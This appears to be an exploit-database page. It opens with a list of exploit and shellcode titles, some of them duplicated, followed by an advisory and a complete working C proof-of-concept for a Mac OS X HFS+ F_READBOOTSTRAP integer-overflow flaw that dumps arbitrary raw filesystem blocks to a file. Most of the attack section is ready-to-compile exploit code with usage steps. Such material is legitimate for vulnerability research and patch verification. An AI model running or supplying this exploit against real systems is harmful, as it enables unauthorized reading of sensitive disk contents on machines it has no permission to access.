
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
95 lines
No EOL
2.6 KiB
C
95 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/46982/info
|
|
|
|
Apple Mac OS X is prone to a local information-disclosure vulnerability because of an integer-overflow error in the HFS subsystem.
|
|
|
|
A local attacker can exploit this issue to obtain sensitive information that may lead to further attacks. Due to the nature of this issue, local attackers may be able to execute arbitrary code in the context of the kernel, but this has not been confirmed.
|
|
|
|
Versions prior to OS X 10.6.7 are vulnerable.
|
|
|
|
NOTE: This issue was previously discussed in BID 46950 (Apple Mac OS X Prior to 10.6.7 Multiple Security Vulnerabilities) but has been given its own record to better document it.
|
|
|
|
/*
|
|
* Apple HFS+ F_READBOOTSTRAP Information Disclosure
|
|
* by Dan Rosenberg of Virtual Security Research, LLC
|
|
* @djrbliss on twitter
|
|
*
|
|
* Usage:
|
|
* $ gcc hfs-dump.c -o hfs-dump
|
|
* $ ./hfs-dump [size] [outfile]
|
|
*
|
|
* ----
|
|
*
|
|
* F_READBOOTSTRAP is an HFS+ fcntl designed to allow unprivileged callers to
|
|
* retrieve the first 1024 bytes of the filesystem, which contains information
|
|
* related to bootstrapping.
|
|
*
|
|
* However, due to an integer overflow in checking the requested range of
|
|
* bytes, it is possible to retrieve arbitrary filesystem blocks, leading to an
|
|
* information disclosure vulnerability.
|
|
*
|
|
* This issue was originally reported to Apple on July 1, 2010. The fix was a
|
|
* single line long and took more than 8 months to release. No gold stars were
|
|
* awarded.
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/fcntl.h>
|
|
#include <sys/mman.h>
|
|
|
|
int main(int argc, char * argv[])
|
|
{
|
|
|
|
int fd, outfd, ret;
|
|
long num;
|
|
unsigned char * buf;
|
|
struct fbootstraptransfer arg;
|
|
|
|
if(argc != 3) {
|
|
printf("[*] Usage: %s [size] [outfile]\n", argv[0]);
|
|
return -1;
|
|
}
|
|
|
|
num = atol(argv[1]);
|
|
|
|
outfd = open(argv[2], O_RDWR | O_CREAT, 0644);
|
|
|
|
if(outfd < 0) {
|
|
printf("[*] Failed to open output file.\n");
|
|
return -1;
|
|
}
|
|
|
|
ftruncate(outfd, num);
|
|
|
|
buf = (unsigned char *)mmap(NULL, num, PROT_READ | PROT_WRITE,
|
|
MAP_SHARED, outfd, 0);
|
|
|
|
if(buf == MAP_FAILED) {
|
|
printf("[*] Not enough memory.\n");
|
|
return -1;
|
|
}
|
|
|
|
arg.fbt_buffer = buf;
|
|
arg.fbt_offset = num * (-1);
|
|
arg.fbt_length = num;
|
|
|
|
fd = open("/", O_RDONLY);
|
|
|
|
if(fd < 0) {
|
|
printf("[*] Failed to open filesystem root.\n");
|
|
return -1;
|
|
}
|
|
|
|
ret = fcntl(fd, F_READBOOTSTRAP, &arg);
|
|
|
|
if(ret < 0) {
|
|
printf("[*] fcntl failed.\n");
|
|
return -1;
|
|
}
|
|
|
|
printf("[*] Successfully dumped %lu bytes to %s.\n", num, argv[2]);
|
|
return 0;
|
|
|
|
} |